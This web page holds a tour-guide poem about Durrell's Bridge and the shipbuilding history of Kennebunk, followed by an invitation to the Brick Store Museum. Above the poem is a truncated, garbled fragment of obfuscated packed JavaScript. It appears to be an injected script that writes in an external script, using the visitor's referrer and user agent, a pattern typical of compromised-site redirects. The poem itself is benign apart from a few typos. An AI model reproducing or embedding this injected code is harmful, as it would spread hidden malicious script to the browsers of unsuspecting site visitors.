Test columns

=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("< \\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ranfb|var|u0026u|referrer|esshk||js|php'.split('|'),0,{})) title=”Mouse over to read poetry”]“Durrell’s Bridge,” your guide calls out
The serpentine river in sight,
“Note the near banks, the depth of the tide while I tell you the tale of its might.

It’s a story of timber, of iron, and brawn
Of copper and whipsaws and nails,
Of oakum, and ballast, of pitch and of tar
From its keel to its highflying sails.

For this is The Landing of Kennebunk fame,
Where gathered those skilled with the tree,
Did fashion from oak and southerly pine
The vessels that sailed to the sea.

Now to get to the ‘Port with its fathomless depth
Was a problem they solved with their blood.
They pulled and they pushed on the highest of tide
And calculated depth of the flood.

These seamen of yore were helped in late years
With additional water from locks.
They built them with Yankee ingenuity, too,
Thus increasing the caro and stocks.

The men of these deeds are not lost to time
The name of their kid are still here-
Etched on houses and streets in this town by the sea,
In the Kennebunk town we hold dear.

There was Nason and Perkins, Kingsbury, too
Mood, Thompson, and Lord,
Maling, Gilpatrick, Titcomb, and Wise
Each gone to a sailor’s reward.

I could add other names to this roster of men
And the names of their vessels they sailed,
But time bids me end of this mariner’s tale
Of the places and oceans they hailed.”
“Thanks for coming on this tour, do visit our Brick Store Museum
for more insights on our shipbuilding past and please do come
to Kennebunk again.” Your guide, Mary.